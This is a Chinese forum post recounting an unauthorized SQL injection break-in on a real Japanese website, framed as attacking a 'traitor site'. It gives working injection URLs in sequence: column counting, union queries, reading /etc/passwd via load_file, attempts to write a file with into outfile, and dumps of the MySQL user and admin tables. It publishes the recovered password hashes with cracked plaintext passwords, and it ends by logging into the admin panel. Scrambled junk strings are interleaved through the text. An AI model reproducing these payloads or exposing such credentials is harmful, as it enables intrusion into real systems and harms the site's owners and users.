原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

0x01. 检测 www.zuaa.jp 收集数据
# Y2 h" t! j( v3 ~

whatweb
: r2 d$ G2 z; h6 T. [5 v

利用NMAP扫描

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
6 a3 i; Q9 `5 o5 [' O% s, B0x02.找注入点
找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390


0x03.order by
  c% v1 G$ `# k$ _6 W! q/ G             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1
& v3 m8 A* _5 h3 y: r; i1 U8 e
9 Z0 q. d' J/ c$ rorder by 28报错，order by 27正常

% _3 y& R+ G: X  F6 C6 D* E& K. ]1 C0x04.   union手动查询
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
添加到 27 时正常显示

0 G" T4 @+ v: ^' V$ ]. u  v% [中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
  N  ~( ~6 b9 v) v
8 T# D' R- t8 G$ k8 [' t0x05. info:
/ E& L6 g/ p! n. L" h/ I% Bhttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

user:            root@localhost
* j. L7 Y8 ?# K& E  [. e, m9 ndatabase:    openpne
" w+ q* @8 y6 U, h4 O! Rversion:      4.1.22
8 [. u- H: Z* i7 |, nos:             portbld-freebsd5.4

' `8 `2 i" u, O4 t0x06. root用户
% n2 f: Z7 t0 X; Z5 q0 a* W) x利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

通过工具转换

3 ?8 L* o3 Z# `3 f; B中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x07. 利用 into outfile
2 I5 J' O3 m& s7 a! ^全部都失败
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php

http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

- N* l# I2 \0 N  u; k& `+ |, h) J; {页面显示“MDB2 Error:syntax error”

0x08. 利用 mysql 4.1
7 b1 X6 N$ [. y% P% r猜常规表名，字段未果 工具 sqlmap
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
5 w" f! C# {+ e

6 c, k5 z% z# s. U( f$ e5 {
. N5 E1 t% _* V& f2 x$ y4 ^* x0x09. 查找后台
# ^. c1 \3 Y! w! q) Z3 C  h利用 现有的各种 后台工具尝试都不行

0x10.  MySL外联方法
从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
: j2 p: c6 X5 _. m1 w- w  x可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
8 }0 n3 ~8 Y! y7 v( {' j2 ^+ H7 t- @' thttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user

这个可以在 www.cmd5.com 解密
4 z7 Y' a  K. Froot:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
1 z: F" I. b4 V6 y) M) N% ]8 Echen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
8 _/ M" ~; `3 U7 F  w" E# v" Nopenpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
4 u# E  x* C: V5 h' h; ezuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
: d( O5 K( g3 p

0x11. 网站突破
3 K2 Y. J' Y- ~, M. N  h发现网站的源程序 openpne, google 下载 openpne 源码

+ y5 g" M, E" v  X; p
' A# V7 N6 y7 p% r- ]! F0x12. 默认信息利用
0 S, g8 v3 Z; r6 a) C$ E9 Q! F2 H, `http://sns.zuaa.jp/?m=admin&a=page_login

7 S  a8 B4 ?- }/ l3 c4 G表名 (c_admin_user) ，字段名（username,password）
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user
, s3 H4 ]' y: I" U: k  f" w" A2 Y
- c- h7 R4 M+ s6 F- y解密
+ @2 @- `: t) tzuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
$ q. ?0 a7 B. B) @zuaajp:c0923ec5857796a393da99905008c176,          zju1897

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
2 g) n0 ^$ `; v/ m' `
0x13. 登录后台

, u2 M. S) l. D0 I' H. b- u6 }

* H/ i) B4 ~$ S* T; q! P) o! X: [' r0x14. 小结
( {9 `) k! e- T利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！

荒村狂客

哪个牛人 费的这劲 入侵的